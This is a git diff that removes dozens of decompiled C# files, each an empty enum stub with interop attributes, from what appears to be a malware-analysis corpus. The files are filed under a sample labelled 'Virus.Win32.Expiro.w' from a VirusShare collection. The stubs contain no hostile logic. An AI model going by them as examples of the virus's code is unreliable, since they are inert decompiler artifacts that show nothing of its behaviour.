@@ -// Decompiled with JetBrains decompiler -// Type: tagCOWAIT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagCOWAIT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCPVIEW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCPVIEW.cs deleted file mode 100644 index 38d76552..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCPVIEW.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCPVIEW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCPVIEW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCTRLINFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCTRLINFO.cs deleted file mode 100644 index 9087cba5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagCTRLINFO.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCTRLINFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCTRLINFO -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDATADIR.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDATADIR.cs deleted file mode 100644 index 90ce42c2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDATADIR.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDATADIR -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagDATADIR -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDCOM_CALL_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDCOM_CALL_STATE.cs deleted file mode 100644 index 1bbd6436..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDCOM_CALL_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDCOM_CALL_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagDCOM_CALL_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESCKIND.cs deleted file mode 100644 index ea8e6456..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDESCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDESCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESKBANDCID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESKBANDCID.cs deleted file mode 100644 index 7a1ec143..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDESKBANDCID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDESKBANDCID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagDESKBANDCID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDISCARDCACHE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDISCARDCACHE.cs deleted file mode 100644 index 6f17da62..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDISCARDCACHE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDISCARDCACHE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDISCARDCACHE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDOMNodeType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDOMNodeType.cs deleted file mode 100644 index af36ebfc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDOMNodeType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDOMNodeType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagDOMNodeType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT.cs deleted file mode 100644 index fa7157f4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagDVASPECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT2.cs deleted file mode 100644 index b1ad5954..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagDVASPECT2.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagDVASPECT2 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEOLE_AUTHENTICATION_CAPABILITIES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEOLE_AUTHENTICATION_CAPABILITIES.cs deleted file mode 100644 index c5bb5ac8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEOLE_AUTHENTICATION_CAPABILITIES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEOLE_AUTHENTICATION_CAPABILITIES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagEOLE_AUTHENTICATION_CAPABILITIES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDFLAGS.cs deleted file mode 100644 index 004b31b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXPCMDFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagEXPCMDFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDSTATE.cs deleted file mode 100644 index 6d310e18..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXPCMDSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXPCMDSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagEXPCMDSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXTCONN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXTCONN.cs deleted file mode 100644 index 77a71d2f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagEXTCONN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXTCONN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagEXTCONN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtendedErrorParamTypes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtendedErrorParamTypes.cs deleted file mode 100644 index 3391bd7a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtendedErrorParamTypes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtendedErrorParamTypes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagExtendedErrorParamTypes -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtentMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtentMode.cs deleted file mode 100644 index 6dd6a433..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagExtentMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtentMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagExtentMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERFLAGS.cs deleted file mode 100644 index af3aea3d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFOLDERFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagFOLDERFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERVIEWMODE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERVIEWMODE.cs deleted file mode 100644 index a712f8fb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFOLDERVIEWMODE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFOLDERVIEWMODE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFOLDERVIEWMODE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCFLAGS.cs deleted file mode 100644 index a0a8b9c6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFUNCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCKIND.cs deleted file mode 100644 index f6d70d6e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagFUNCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFUNCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFUNCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGETPROPERTYSTOREFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGETPROPERTYSTOREFLAGS.cs deleted file mode 100644 index bbe2b5e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGETPROPERTYSTOREFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGETPROPERTYSTOREFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagGETPROPERTYSTOREFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGPFIDL_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGPFIDL_FLAGS.cs deleted file mode 100644 index 786d3963..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGPFIDL_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGPFIDL_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagGPFIDL_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGUIDKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGUIDKIND.cs deleted file mode 100644 index 6afa327b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagGUIDKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagGUIDKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagGUIDKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagHITRESULT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagHITRESULT.cs deleted file mode 100644 index a5f99ca2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagHITRESULT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagHITRESULT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagHITRESULT -{ -} diff --git 